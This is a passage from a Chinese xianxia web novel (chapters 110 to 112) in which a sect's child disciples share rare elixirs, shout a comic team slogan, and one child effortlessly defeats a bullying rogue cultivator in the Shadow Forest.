那分明是极品补灵丹! 只见郁仙像是吃糖豆一样,随手就将那颗价值连城的极品补灵丹丢进了嘴里,吞了下去。 瞬间,她苍白的小脸以肉眼可见的速度变得红润起来,气息也恢复了平稳悠长,消耗一空的灵力更是恢复了十成十。 墨妍:“!!!” 铁峰:“!!!” 两个人如同被天雷劈中,眼睛瞪得如同铜铃,嘴巴张得能塞进一个鸡蛋,指着郁仙的手抖得像筛糠,说话都不利索了: “极…极…极品丹?!” “你…你你你就这么吃了?!” “那那那…那真的是极品补灵丹?我不是在做梦吧阿妍?!” 郁仙看着他们惊骇到几乎魂飞天外的狼狈样子,眨了眨眼。 不就是一颗不值钱的丹药,至于这样吗?跟见了鬼似的。 她想了想,又从瓶子里倒出两颗同样圆润丹纹清晰的极品补灵丹,递到两人面前,小脸上带着一种“真拿你们没办法”的严肃表情:“喏,既然你们现在是我们玄天护卫队的人了,也不能亏待你们,这个给你们吃吧。” 两个人眼睛直勾勾地盯着掌心那两颗流光溢彩、药香扑鼻的极品灵丹,手抖得更厉害了,仿佛捧着两块烧红的烙铁。 那可是极品补灵丹。 他们做梦都不敢想自己能够拥有。 现下,居然这么轻易就得到了? 墨妍声音发颤,几乎不敢相信:“真…真的送给我们?” 郁仙点头:“对呀。” 铁峰喉咙干涩,艰难地问道:“你…你不怕你们的师尊知道了…会生气?” 如此珍贵的丹药,是可以随手送人的吗? 郁仙歪了歪头,更加不解:“不会啊。” 小小补灵丹,不过是黄阶丹药,她闭着眼睛都能炼,师尊怎么会因为这点小事生气呢? 墨妍和铁峰看着手里珍贵的极品灵丹,又看看一脸理所当然的郁仙,心中又是无比的激动感动,又是滔天巨浪般的震惊。 这小丫头年纪不大,出手也太大方了。 不!这已经不是大方了,这简直是……壕无人性! 若是被他们知道,如今的玄天宗大厅里,随意放着一盆上品灵丹,小白饿了偶尔会去叼两颗当零嘴……恐怕两人会当场道心崩溃,吐血三升,由衷感叹:真是人不如“狗”啊! 墨妍和铁峰看着掌心那两颗流光溢彩的极品补灵丹,咽了咽口水。 吃?怎么可能! 他们又没有受伤,现在吃了,岂不是暴殄天物。 两人极有默契地将丹药郑重放入瓷瓶,收入储物袋,准备留作将来生死关头时保命用。 两人刚松一口气。 突然,江迷雾“啊呀”一声,小脸上满是懊恼。 众人齐刷刷转头,就看到江迷雾痛心疾首地跺脚,道:“刚才杀那个臭臭的蟒蛇前,咱们忘记喊口号了!” 小家伙们一听,全都愣住了,随即纷纷反应过来。 “对啊!怎么能忘了这么重要的事。”萧星尘一拍脑袋,“失策失策,没有喊口号,这胜利感觉都不完整了。” 鹿闻声握紧小拳头,眼神灼灼:“要不我们现在把口号补上?对着那蛇尸喊一遍?” 郁仙微微蹙眉,清冷的小脸上带着一丝自责:“都怪我,杀那条臭蛇太快了,没来得及等大家喊口号。下次……我尽量杀慢点。” 墨妍和铁峰:“……” 谢谢您嘞小祖宗!刚才情况那么紧急,您要是真杀慢点,我俩现在估计都在那蟒蛇肚子里消化一半了。 墨妍轻咳一声,试图把孩子们拉回正轨:“那个……口号,其实大可不必吧?” “不可以!”苏渺渺奶凶奶凶的反驳,“口号是我们玄天拆迁队的灵魂,我们要让‘玄天拆迁,使命必达’的口号响彻整个修真界,师尊肯定超骄傲的。” 江迷雾连连点头,然后好奇地看向墨妍和铁峰:“难道你们两个没有自己的口号吗?” 墨妍和铁峰额头冒出黑线:谁要那种羞耻度爆表的东西啊! “我们不需要。”两人异口同声,语气坚定。 江迷雾闻言,露出恍然大悟的表情,“怪不得你们两个连一条臭蛇都打不过。” 墨妍和铁峰:不是,有没有口号,和我们打不打得过有什么关系? 接下来,他们就听到江迷雾用一副“我懂了”的语气老气横秋地说:“在散修联盟,只有强大的队伍才能拥有口号,这是实力的象征!” 萧星尘一脸深沉地表示赞同:“嗯,四师弟说得有道理。你看散修联盟里那‘龙精虎猛’小队,口号喊得那么响亮,他们一定是散修联盟里最厉害的人,对不对?” 墨妍和铁峰差点被自己的口水呛死。 那俩货纯属本事没有,口号震天的草包。 也就是这五个小不点点背,初来乍到就被那两人的声势给唬住了。 两人看着小家伙们那一副“我们有口号我们超棒”的骄傲小模样,也不忍心打击他们的积极性,只好把吐槽憋回肚子里,含糊地应了一声。 结果,下一秒,鹿闻声就眼睛一亮,提出了一个让墨妍和铁峰头皮发麻的建议。 “要不,我们也给玄天护卫队想一个响亮的口号吧?我们的人,出门在外,一定要霸气侧漏。” 这个提议立刻得到了另外四个小家伙的一致欢呼赞成。 见自己的建议被赞同,鹿闻声眼睛更亮了,道:“比如‘铁蛋开路,墨妍断后’……” 墨妍和铁峰脸色瞬间变得如同便秘,赶忙摆手拒绝:“停!” 鹿闻声不解:“怎么了?你们是不喜欢我取的口号吗?那再换一个?” 墨妍扯出僵硬的笑:“我就是觉得,玄天护卫队目前就我们两个人,喊出来口号也不霸气,反而显得人少势孤,等以后……等以后我们队伍壮大了,人多了,你们再慢慢想一个威震天下的口号也不迟。” 孩子们歪着头想了想,觉得好像有点道理,人少喊口号确实不够威风,这才暂时放弃了这可怕的念头。 墨妍和铁峰暗自抹了把冷汗,心道:幸好糊弄过去了,等做完这个任务分完灵石,大家就分道扬镳了,谁要跟你们一起喊那种丢死人的口号,岂不是要被整个修真界笑掉大牙。 “好啦,现在最重要的是把这些珍珠弄出来。”墨妍赶紧转移话题。 小山一般的贝壳被逐个打开,巨大的珍珠几乎要闪瞎人眼。 孩子们开始精心挑选——挑一颗最差的交任务。 他们最终选中了一颗最小、光泽最暗淡、甚至形状有点歪的百年贝珠,随便用一块粗布包了包,就丢给了墨妍。 而其余那些硕大、圆润、璀璨、流光溢彩的极品珍珠,则被他们像对待绝世珍宝一样,由萧星尘亲自收进储物袋,准备带回去献给师尊。 墨妍和铁峰看着这一幕,再次一阵无语。 两人心道:那位发布任务的柳云宸大少爷,怕是做梦都想不到,他重金求购的“百年星光贝珠”,居然只是人家小娃娃挑剩下、根本看不上的残次品。 人比人,气死人啊! 一切准备就绪,队伍朝着下一个目标——幽影森林进发。 路上,为了缓解沉默,墨妍主动拿出任务卷轴,介绍起幽影森林。 “幽影森林,终年被迷雾笼罩,里面树木遮天蔽日,地形复杂,很容易迷路,而且藏着很多妖兽。” “我们的目标月影灵狐,是一种非常聪明又速度极快的狐狸。它的尾巴尖毛在月光下会发光,用来做法衣深受女修士喜欢。月影灵狐特别警惕狡猾,很难抓到。” 听到“灵狐”、“漂亮”、“尾巴”、“发光”这些词,苏渺渺和江迷雾首先兴奋起来。 第110章 美强惨小反派,满心满眼都是师尊 “漂亮的狐狸?”苏渺渺大眼睛亮晶晶的,“尾巴还会发光?捉来送给师尊,师尊一定喜欢。” 江迷雾已经开始幻想:“说不定能抓两只,给师尊当毛绒拖鞋!” 郁仙一只手托着下巴,道:“咱们师尊那么善良,我觉得师尊可能更喜欢抱着毛茸茸的狐狸。” 她的小脑袋瓜开始想象师尊rua狐狸的画面了。 萧星尘和鹿闻声频频点头,表示赞同。 墨妍和铁峰:“......” 不是,怎么又扯上你们师尊了? 小祖宗们,我们是来做任务的,不是给你们师尊寻找毛茸茸的! 两人又开始忍不住翻白眼了,不过对他们口中那位神秘的师尊,也越发的好奇了。 从碎星湖到幽影森林足有一千多里。 对于能御剑飞行的高阶修士不算什么,但对于他们这群只有筑基期,还没灵兽可骑的队伍来说,就只能靠双腿了。 一连走了三天,风餐露宿。 虽未遇到什么麻烦,但连续赶路对于几个最大不过七八岁的孩子来说,身体尚能支撑,但精神上的疲惫和对不熟悉的环境的排斥却难以避免。 到了第三天夜里,连最为沉稳的萧星尘都有些打不起精神修炼了。 五个小家伙像糯米团子般挤在干草堆上。 萧星尘和鹿闻声年龄最大,自觉地睡在最外侧,将师弟师妹护在中间。 年龄最小的苏渺渺被围在最里面。 小丫头在睡梦中似乎并不安稳,小身子时不时惊悸一下,长长的睫毛上挂着细小的泪珠,睡梦中还在呓语:“师尊……抱抱……” 其他几个孩子也睡得不如往日香甜,眉头微微蹙着,又往一起缩了缩。 暗处,一直悄然跟随的云见月将这一切尽收眼底,心口一揪。 之前孩子们面对金丹妖兽她都能硬下心肠旁观,但此刻看着他们因思念而蜷缩的可怜模样,她所有的原则和坚持都化为了酸涩。 夜色深沉,她终究是没能忍住。 她敛去周身气息,悄然从暗处走出,来到孩子们身边。 缓缓蹲下身,伸出纤细白皙的手指,轻轻擦去苏渺渺睫毛上的泪珠,又顺着她柔软的发顶抚到她柔嫩微凉的小脸。 仿佛感受到了熟悉的气息,睡梦中的苏渺渺无意识地往她掌心蹭了蹭,蹙紧的眉头渐渐舒展开,小嘴无意识地咂摸了一下,含糊地又念了声“师尊”,终于陷入了沉静香甜的深眠。 云见月眼中溢满怜爱,依次轻轻抚过每个弟子的头或脸颊。 那平日里清冷如月的面容,此刻在朦胧夜色下,只剩下无尽的温柔与宠溺。 而不远处的墨妍和铁峰,连日奔波消耗了大量精力,身体虽还保持着戒备的姿态,意识却已沉入睡眠,对云见月的到来毫无察觉。 夜深露重,晚风带着凉意。 云见月微微抬手,一道无形的灵力防护罩将所有人完全笼罩在内,隔绝了寒气与湿气。 树下阴影里,虞青焰慵懒地靠着树干,将云见月的举动尽收眼底,他漂亮的桃花眼里蕴着温柔的笑意,目光始终追随着她,不曾移开半分。 苏心瑶和林思思面面相觑,无声地咂舌。 苏心瑶凑近虞青焰,用气声小声问道:“她平时在玄天宗,对孩子们也这么……温柔吗?” “嗯。”虞青焰轻轻应了一声,目光依旧落在云见月身上。 她一直都是一个内心极为温柔细腻的人,只是这份温柔,极少为外人所见。 她的强大,不仅在于修为,更在于内心。 唯有面对这几个用心呵护的孩子时,她才会流露出这般毫无保留的宠溺。 苏心瑶喃喃:“真是看不出来,冷面掌门也有这么温柔的一面。” 若非亲眼所见,她绝不敢相信那个冷静得近乎冷酷的云见月会是这样的。 月光如水,轻柔地洒落在云见月身上,为她镀上了一层圣洁的光晕。 她静静蹲守在孩子们身边,像极了一位守护幼崽的温柔母神,静谧而美好。 一夜过去。 晨光刺破雾气时,孩子们在清爽的空气中醒来。 墨妍看了看四周,又摸了摸自己干爽的衣物,一脸不解。 铁峰问:“怎么了?” 墨妍奇怪道:“夜里更深露重,我们就这么睡了一夜,身上居然一点露水都没有,连蚊虫都没来叮咬。” 经她提醒,铁峰也发现了不对劲:“还真的是,邪门了,以前从没遇到过这种好事。” 两人四下仔细打量,却找不到任何异常之处,虽然心里觉得古怪,但也只能归结为运气好,没有深究。 忽然,苏渺渺一脸兴奋道:“我梦到师尊了。” 萧星尘、鹿闻声、郁仙和江迷雾也纷纷出声,表示他们也梦到了。 五个小家伙又开始凑到一起分享梦里的师尊。 墨妍和铁峰:你们够了! 每天师尊师尊师尊的,你们脑子里就没有别的了吗? 白天是师尊,晚上睡觉还是师尊,你们肯定是被你们的师尊洗脑了。 两人短短几天翻的白眼,比前半生翻的都多。 几人简单收拾了一下,就继续出发了。 半天后,他们抵达了目的地——幽影森林。 一踏入森林范围,光线骤然暗淡下来。 参天古木枝桠交错,遮天蔽日,空气中弥漫着潮湿的腐叶气息和淡淡的迷雾。 四周寂静得可怕,只有脚踩在厚厚落叶上发出的“沙沙”声,无端端给人一种心理上的压抑感。 墨妍和铁峰一左一右将孩子们护在中间,警惕地戒备着四周。 郁仙释放出木系灵力,试图与森林中的植物沟通。 但这里的树木花草都透着一股沉寂和惰性,反馈回来的信息模糊不清,她只能勉强感知到某个方向的木灵之气似乎更为活跃一些:“那边……好像有点不一样。” 墨妍和铁峰对视一眼,虽然心下有些疑虑,但想到碎星湖那震撼的一幕,还是决定姑且相信郁仙的直觉。 他们顺着郁仙指引的方向走,走了大约半柱香的时间,突然一阵脚步声和说话声传来。 “大哥,你确定那月影灵狐真的在这片儿活动?咱们都转悠两天了,毛都没看见一根。”一个尖细的嗓音抱怨道。 “废话!老子的消息还能有错?肯定就在这附近,都给老子瞪大眼睛仔细找,那玩意儿值钱着呢。”一个粗犷的声音回应。 “嘿嘿,也是,月影灵狐的皮毛最适合做法衣了,尤其尾毛,在夜里会发光,爱美的女修根本无法拒绝。等我们抓到了,就扒了皮卖到云织坊,据说云织坊的衣服卖的最好最贵。”另一个略显猥琐的声音附和着。 说话间,三道人影从迷雾中走了出来。 为首的是个满脸横肉、扛着一把鬼头刀的壮汉(路人甲:刀疤李)。 旁边是个身材干瘦、眼神闪烁、摆弄着几枚毒镖的男子(路人乙:瘦猴孙)。 最后是个矮胖子、手里抓着一个铁锤,长得油腻腻的。(路人丙:胖球钱)。 这三人一出现,目光就扫到了墨妍一行人。 当看到墨妍和铁峰时,刀疤李脸上立刻露出了不怀好意的讥讽笑容。 “哟!我当是谁呢?这不是咱们散修联盟有名的‘穷酸二人组’嘛?墨妍,铁峰,真是巧啊!”刀疤李嗓门很大,言语间充满了挑衅。 “怎么?你们来这里不会也是为了月影灵狐吧?警告你们,月影灵狐是我们哥仨先看上的!” 瘦猴孙也阴阳怪气地接话:“大哥,瞧您说的,给他们两十个胆子,他们也不敢跟咱们抢啊,要知道,大哥你可是金丹初期修士,在咱们散修联盟,那是首屈一指的存在。” 瘦猴孙说的确实没错。 作为散修,在背后没有宗门支持的情况下,只依靠自己能修炼到金丹期,着实不易。 胖球钱嘿嘿笑着,目光在墨妍身上不礼貌地打转:“墨妍,要不要求求哥哥们?看在相识一场的份上,等我们抓到灵狐,分你几根毛啊?哈哈!” 墨妍和铁峰的臉色瞬间沉了下来,手已经按在了武器上。 这三人是他们在散修联盟里的老对头,专门喜欢欺压抢夺修为不如他们或者落单的散修,名声极臭。 “刀疤李,我们做什么,不关你们的事!”铁峰瓮声瓮气地吼道,肌肉紧绷。 “哼!不识抬举!”刀疤李冷哼一声,鬼头刀重重往地上一顿,“这月影灵狐,我们三兄弟看上了,识相的,就赶紧滚出幽影森林,别碍着老子的眼,不然……” 他的威胁话语还没说完,一个清脆又带着点不耐烦的童音突然响起,打断了他。 “喂!你们三个丑八怪吵死了!”只见萧星尘皱着小眉头,一脸嫌弃地看着刀疤李三人,“没看到我们玄天拆迁队在此吗?还敢声音这么大,如此嚣张,小爷可看不下去了哦。” 鹿闻声则冲他们做鬼脸:“丑八怪生气啦!有本事来抓我呀!” 江迷雾默默将凝霜剑横在胸前,冷冷吐出一句:“要不是看你们岁数大,我早就出剑了,哼!” 郁仙眼神冰冷如霜,周身藤蔓悄然生长:“再敢嚣张,就把你们的舌头缠烂。” 苏渺渺躲在郁仙身后,探出脑袋奶凶道:“坏蛋都要被打屁屁!我的师兄师姐会代替我消灭你们。” 孩子们你一言我一语,根本没把这三个凶神恶煞的修士放在眼里。 刀疤李三人被这突如其来的状况搞懵了,他们这才注意到被墨妍铁峰护在中间的五个小豆丁。 被几个小娃娃如此直白地羞辱,三人顿时气得脸色铁青。 “哪里来的小杂种?”刀疤李勃然大怒。 听他这么说,五个小家伙对视一眼,脸上浮现兴奋之色。 喊出他们“玄天拆迁队”响亮口号的机会,终于出现了。 第111章 萧星尘出手,震惊四座 “都听好了!”萧星尘突然跨前一步,小身板挺得笔直。 其他四个小家伙,立刻条件反射般地挺胸收腹,摆出了他们自认为最标准最威风的战斗姿势,虽然看起来歪歪扭扭,但气势十足。 五个小豆丁完全无视了对面刀疤李三人凶神恶煞的表情,就连墨妍和铁峰拼命使眼色都没去看。 他们异常迅速地排成了一个参差不齐的队形。 萧星尘小脸绷得紧紧的,努力做出严肃的表情,朗声道:“预备——开始!” 紧接着,孩子们便开始了他们的“战前宣言”。 萧星尘铁拳捶地,气势汹汹,吼道:“谁在狗叫?” 鹿闻声掌心窜起火苗,眼神犀利,“谁想被烧?” 郁仙指尖转着黑气,幽幽开口:“谁要试毒?” 江迷雾长剑出鞘,寒光一闪:“谁该挨刀?” 站在队伍中间的苏渺渺歪头露出两颗虎牙,甜甜一笑:“师兄师姐,留个全尸好不好?” 五个小豆丁合体,勾肩搭背,摆出了一个他们觉得无比嚣张、实则东倒西歪、毫无协调性可言的奇葩POSE,扯着嗓子喊道: “我们是——玄天拆迁队,业务遍三界!” “专治各种不服,承办各种超度!” “师尊指哪,我们拆哪!” “专业团队,使命必达——” 苏渺渺还特意拉长了尾音,眨眼,“达~!”(^_-) 喊完后,五个小家伙齐刷刷甩了下额前刘海,凹出个自以为霸气侧漏的造型。 林间的鸟群被这突如其来的吼声惊得扑棱棱乱飞,风停了,只留下几片尴尬的落叶从半空飘落。 现场陷入了一片死寂。 墨妍瞬间觉得天旋地转,眼前一黑差点栽倒,只想立刻把自己埋进土里。 铁峰嘴角疯狂抽搐,手里的斧头“当啷”一声砸在脚背上,疼得他龇牙咧嘴,却连痛呼都忘了,此刻满脑子都是——我不认识他们,我不认识他们,我不认识他们...... 刀疤李、瘦猴孙和胖球钱三人更是集体石化。 胖球钱张着嘴巴,铁锤“啪嗒”一声掉在地上。 瘦猴孙使劲揉了揉眼睛,又掏了掏耳朵,严重怀疑自己是不是走错片场了。 刀疤李脸上的横肉抽搐着,凶恶的表情彻底僵住,大脑瞬间宕机,CPU都要干烧了。 他们预想过对方会跪地求饶、会拼死反击、会屁滚尿流地逃跑…… 但唯独没想过会看到一场……如此蹩脚、如此中二、如此令人头皮发麻脚趾扣地的羞耻口号。 短暂的死寂后,是猛然爆发的嘲讽狂笑。 “哈哈哈哈哈!!!” 胖球钱笑得浑身肥肉乱颤,眼泪狂飙,捂着肚子差点喘不上气,“哎呦喂!笑、笑死老子了,就这几个小奶娃还拆遍三界?信不信我一个屁就能把他们崩死,哈哈哈——” 瘦猴孙也笑得前仰后合,捶胸顿足:“大哥!哈哈哈哈!这、这是专门来给咱们解闷的吧?哈哈哈——” 刀疤李嗤笑一声,满脸的鄙夷和荒谬:“真他娘的活久见,墨妍,铁峰,你们俩现在混得可真行啊,穷得改行卖艺了?还带着这么一群傻子?” 孩子们的兴奋劲儿瞬间被浇灭,小脸上满是不满。 他们这么帅的口号,对面三个丑八怪居然笑? 胖球钱好不容易止住笑,晃动着肥硕油腻的身体,上前几步,得意地拍着如同十月怀胎的肚子:“大哥,猴哥,跟这群小废物啰嗦啥?看胖爷我一只手把他们一个个捏出屎来,给你二位助助兴。” 他压根没把这五个看起来一根手指头就能戳死的小豆丁放在眼里。 萧星尘闻言,小眉头紧紧皱起,上前一步,一本正经地对自己的师弟师妹们挥了挥手:“你们退后,为我观战,这三个不知天高地厚的丑八怪,我一个人料理就够了。” 此言一出,对面三人再次爆发出更加夸张的嘲笑。 “哈哈哈!炼气三层的小屁孩要一个人料理我们?老子耳朵是不是被驴毛塞住了?”胖球钱笑得直抹眼泪。 墨妍和铁峰简直想仰天长啸,问问老天爷为什么要让他们遭遇这些。 墨妍急得跺脚:“萧星尘,你别胡闹了,你的修为只有炼气三层,对面的胖子是实打实的筑基后期修为,你们快退到我们身后去。” 她虽然见识过郁仙那不合常理的强大,但萧星尘一直没真正出过手,她下意识认为萧星尘纯粹是在逞能吹牛。 铁峰捡起斧头,踏前一步,挡在萧星尘面前,瓮声道:“小祖宗你消停会儿行不行?一边看热闹去,这死肥猪交给我!” 他知道自己筑基中期对上筑基后期胜算渺茫,但更不能眼睁睁看着孩子去送死。 战斗瞬间爆发! 胖球钱虽然肥硕得像颗球,但动作却异常刁钻灵活,双锤舞得虎虎生风。 铁峰怒吼着挥斧迎战,但修为的差距和对方仗着自己矮,跟个滚地雷似的在地上滚动,对方诡异阴险的身法,令身材高大的铁峰处处受制。 两人打斗,铁峰只能弓着身子,在地上不停的找滚动的像球一样的肥猪,这大大的阻碍了他发挥出实力。 胖球钱的铁锤如影随形,带着风声砸向铁峰小腿。 铁峰只有招架之功,毫无还手之力。 “砰!” “咔嚓!” 一声骨头断裂的脆响传来。 铁峰左腿被胖球钱的铁锤生生砸断,身子一个不稳,单膝跪倒在地。 胖球钱就是趁着这个机会,又一个铁锤砸来,正中铁峰胸口。 铁峰倒飞出去撞在树上,咳出一口鲜血,斧头也脱手而出。 “铁峰!”墨妍惊呼一声,眼中闪过悲愤,拔剑全力攻向胖球钱。 两人同为筑基后期,剑光与锤影疯狂交错,灵力碰撞发出噼啪声响。 墨妍的剑法相较铁峰更为精妙迅捷,但胖球钱还是刚才那一招滚地雷,他力气又大,战斗经验极其猥琐老辣,专攻下三路。 几十个回合后,墨妍一个格挡不及,被铁锤边缘狠狠擦中小腿,顿时闷哼一声。 胖球钱飞起一锤,正砸在墨妍的后背上。 墨妍如同断线风筝般飞出,狠狠摔倒在地,口吐鲜血。 “就这点本事也敢出来混?”胖球钱得意忘形,“自己没本事,还带着一群只会喊口号的拖油瓶,不如回家吃奶。” 墨妍和铁峰面色惨白如纸,心中充满了绝望。 仅仅一个胖球钱就让他们毫无还手之力,最强的金丹初期刀疤李甚至还没出手呢。 看样子,他们今天是要死在这里了。 就在两个人陷入绝望时,江迷雾蹲到两人面前,清澈的大眼睛里满是震惊。 “你们这么轻易就输啦?哎!说好的当护卫保护我们,结果还要我们反过来保护你们,真拿你们没办法。” 墨妍和铁峰听到这话,气得胸口一闷,差点又是一口老血喷出来。 小祖宗啊,这都什么时候了,你还有心思说风凉话。 墨妍又急又气:“你们快逃!” 她深知刀疤李的狠毒手段,孩子们留下绝无活路。 江迷雾却伸出一根嫩生生的手指,老气横秋地在眼前摇了摇,“逃跑?不行不行,师尊让我们出来历练,可不是让我们逃跑的,这完全不符合我们玄天拆迁队的作风。” 他站起身,像模像样地拍了拍根本不存在灰尘的衣角,“你们等着,看我们怎么把他们‘拆’了。” 说着,他就要迈着小短腿朝胖球钱走去。 墨妍猛地伸出手,死死抓住他的小腿裤脚,声音几乎嘶哑:“别再说孩子气的胡话了,这是会死的,快逃啊!” 被这么一阻拦,萧星尘先江迷雾一步走了出来。 他小小的身影坚定地挡在受伤倒地的墨妍、铁峰和跃跃欲试的师弟师妹面前,语气平静得不像个孩子,却带着一种不容置疑的决绝: “抛下同伴自己逃走,可不是我们玄天拆迁队的风格。” 他目光锐利如刀,直射向还在得意大笑的胖球钱:“区区筑基后期,我一个人就能解决了。” “噗——哈哈哈——” 胖球钱再次爆发出惊天动地的嘲讽大笑,“就你?炼气三层的小崽子?牛皮都吹破天了吧!老子我就站在这不动,让你打,你都伤不了你胖爷我一根汗毛!” 刀疤李和瘦猴孙也抱着胳膊,脸上满是看好戏的戏谑表情。 萧星尘面对这铺天盖地的嘲讽,只是微微勾起一抹与他年龄极不相符的、带着冰冷寒意的嘴角:“是吗?我不信。” “你还不配我主动出手,来吧!我让你三招。” 他那轻蔑到极点的态度激怒了胖球钱。 “小崽子,主动找死是吧?那胖爷就让你信到投胎都忘不了!” 胖球钱怒吼一声,抡起那巨大的铁锤,带着筑基后期的磅礴灵力,朝着萧星尘的脑袋狠狠砸下。 这一锤势大力沉,足以将精铁砸成废渣! “不要——”墨妍绝望地闭上双眼,不忍再看。 铁峰也目眦欲裂,发出不甘的嘶吼。 他们仿佛已经看到萧星尘脑浆迸裂、血肉横飞的惨状。 然而,站在萧星尘身后的鹿闻声、郁仙、江迷雾甚至苏渺渺,都一脸平静,甚至还带着点……隐隐的期待? 只听“咣当——”一声巨响,如同雷霆炸响。 墨妍和铁峰心惊胆战地缓缓睁开眼。 只见萧星尘竟然毫发无损地站在原地。 胖球钱的铁锤结结实实地砸在了他的头顶上,可诡异的是,他的脑袋完好无损,甚至连头发都没掉一根。 更让人瞠目结舌的是,那精铁打造的锤头与头皮接触的部位,竟然清晰地凹陷下去一个小坑。 “什……什么?!”胖球钱脸上的狞笑瞬间凝固,转化为极致的惊愕和难以置信,完全不敢相信自己的眼睛。 墨妍和铁峰大脑一片空白,完全无法理解眼前这违反常理的一幕。 第112章 萧星尘对付瘦猴孙,简直帅炸了 刀疤李先是一愣,随后不满地吼道:“胖子!你他娘没吃饭啊?连个小崽子都砸不死?” 瘦猴孙也尖声嘲笑:“胖子,是不是昨晚在女修身上把力气都用光了?锤子都软了!” 同伴的嘲笑让胖球钱羞愤交加,被一个小鬼当着这么多人的面如此下面子,他只觉得脸上火辣辣的疼。 “真没想到,你这小崽子头挺铁啊,也是你运气好,你胖爷我刚才没有用力气,但下一锤,你可就没有这么好运了。” 说着,胖球钱再次抡起铁锤,这一次他毫无保留,将吃奶的力气和全身灵力都灌注其中,锤风甚至带起了刺耳的尖啸,再一次朝着萧星尘的天灵盖猛砸而下。 那蕴含着筑基后期全力一击的巨大铁锤,第二次,狠狠的砸在萧星尘头顶。 胖球钱的脸上挂着狰狞的笑,以为自己这全力一击,一定能把面前的小崽子砸个脑浆迸裂。 然而,锤子落下,萧星尘依旧好端端的站在那里,还做出一脸狐疑的样子,“你这人怪好的嘞,两次都跟蚊子咬似的。” 什么?! 胖球钱这一次不仅是震惊,而是惊恐了。 自己明明用出了全力,为什么连一个炼气三层的小崽子都砸不死? 刀疤李和瘦猴孙,有些不耐烦了。 “胖子,你给我认真点。” “胖子,你怕不是不忍心对小孩子下手吧?你要是不舍得下手,交给你猴哥我。”说着,瘦猴孙开始撸起袖子。 胖球钱恼羞成怒,赤红着一双眼睛死死盯着萧星尘。 “谁都别过来,我今天非要砸死他。”他再次抡起铁锤,一锤子砸在萧星尘头上。 接连三锤,萧星尘纹丝未动,毫发无伤。 胖球钱真的要气疯了,发了疯一般,再次抡起铁锤。 然而,这一次,铁锤却在距离萧星尘头顶三寸的地方,被他那只小小的手掌,稳稳地凌空接住了。 时间仿佛在这一刻彻底静止。 气浪以两人为中心轰然扩散,卷起满地落叶尘土。 胖球钱脸上的暴怒和疯狂瞬间僵住,彻底转化为见鬼般的惊骇和恐惧。 他感觉自己的铁锤根本不是砸在血肉上,而是砸在了一座坚不可摧的神铁之上。 一股无法抗拒的恐怖反震力量顺着锤柄传来,让他虎口瞬间崩裂,鲜血淋漓,整条手臂乃至半边身子都酥麻剧痛,几乎失去知觉。 萧星尘那双原本亮如星辰的眸子里,此刻没有一丝孩童的天真懵懂,只有冰冷的战意和一丝居高临下的睥睨。 “说好让你三招,便是让你三招。” 萧星尘声音平静无波,却带着令人心悸的力量,“这就是筑基后期的全力?不过如此。” “什……什么?!” 胖球钱惊骇得声音都变了调。 墨妍和铁峰看着眼前这颠覆他们认知的一幕,大脑彻底死机。 刀疤李和瘦猴孙脸上的戏谑和嘲笑消失得无影无踪,取而代之的是无比的震惊,凝重。 炼气三层,单手硬接筑基后期全力一击而毫发无伤? 这他娘的到底是什么怪物? 他们哪里知道,萧星尘已将《九转星辰淬体术》第二重的九个动作练成。 他的肉身强度早已堪比筑基后期大圆满,无限接近于金丹期。 加之日夜承受五倍重力淬炼,其真实实力远超同阶五倍以上,对付一个根基虚浮、全靠蛮力的肥猪,自然不在话下。 萧星尘五指微微用力。 “咔嚓……咯吱……” 那精铁打造的沉重锤头,竟然在他那小小的手掌中,如同软泥般被硬生生捏得扭曲变形。 “你……你……”胖球钱惊恐万分,想要拼命抽回铁锤,却发现任凭他如何催动灵力,都抽不动半分。 萧星尘看着他那张因恐惧而扭曲的胖脸,嘴角那抹冰冷的笑意扩大:“现在,轮到我了。” 他依旧单手抓着那变形的铁锤,却仿佛轻若无物,借着胖球钱回收的力量,猛地向前一拽。 胖球钱那肥硕沉重的身体顿时失去平衡,如同一个巨大的肉球般不受控制地向前扑来。 而萧星尘的另一只小手,并指如剑,星辰之力凝聚指尖,精准无比地直接击在胖球钱那布满肥肉的丹田气海。 “噗——”一声轻响。 “啊——”胖球钱发出了杀猪般凄厉的惨叫,庞大的身躯如同被踢飞的破麻袋般倒飞出去,重重砸在远处一棵大树上,震落无数树叶,然后才软软滑落在地。 他蜷缩着身体,剧烈抽搐着,口中不断溢出鲜血和泡沫,一身筑基后期的修为正在急速溃散。 只一击,丹田尽碎,修为尽废! 萧星尘随手扔掉报废的铁锤,拍了拍小手,目光冷冷扫向彻底傻眼、脸色煞白的刀疤李和瘦猴孙。 “接下来,轮到谁?” 两人下意识地后退了半步,手中的武器握得更紧了。 林间一片死寂,只有胖球钱痛苦的呻吟声。 墨妍和铁峰呆若木鸡,看着那个小小的背影,仿佛不是在看着一个孩子,而是在仰望一尊……降世仙童。 看着胖球钱像摊烂泥般瘫在地上,修为尽废,刀疤李和瘦猴孙从震惊中回过神来,随之而来的便是滔天的愤怒。 他们在散修联盟也算有名气,今天竟然被一个七八岁的小屁孩的气势给慑住了,传出去怕是要沦为整个修真界的笑柄。 刀疤李脸色铁青,提起泛着寒光的鬼头刀,就想亲自上场。 旁边的瘦猴孙却一把拦住了他,尖瘦的脸上挤出阴狠的笑,“大哥,杀鸡焉用牛刀?对付一个空有蛮力,走了狗屎运的小B崽子,哪需要你亲自出手。刚才胖子纯粹是大意轻敌,才着了道。看小弟我的,保证把他扎成个刺猬,给大哥你出气!” 刀疤李闻言,冷哼一声停下了脚步。 墨妍和铁峰刚放下的心又瞬间提到了嗓子眼。 瘦猴孙虽然也是筑基后期,但他擅长的是暗器,身法诡异,攻击刁钻,比只知道蛮力的胖球钱难对付多了。 瘦猴孙上前几步,一双鼠眼上下打量着萧星尘,不屑道:“小杂种,仗着有几分蛮力就不知道天高地厚了?可惜,你猴爷爷我玩的不是力气,是技术,也是艺术,等下就让你尝尝什么叫万镖穿心,看你那小身板还能不能硬气得起来。” 萧星尘小脸依旧平静,淡淡开口:“刚才那个胖子,我让了他三招。我不能厚此薄彼,显得不公平。所以,我也让你三招。” 瘦猴孙被他这老气横秋的语气气得肺都快炸了,尖声冷笑:“三招?呵!小杂种,毛都没长齐就学人吹牛皮,你最好能接得住你猴爷爷我一招再放大话。” 说话间,瘦猴孙眼中凶光一闪,三枚淬着幽蓝寒光、明显喂了剧毒的飞镖便成品字形直射萧星尘的面门和左右胸口要害。 速度之快,几乎在空中留下了淡淡的虚影。 墨妍和铁峰的心瞬间凉了半截,这速度太可怕了,萧星尘怎么可能躲开。 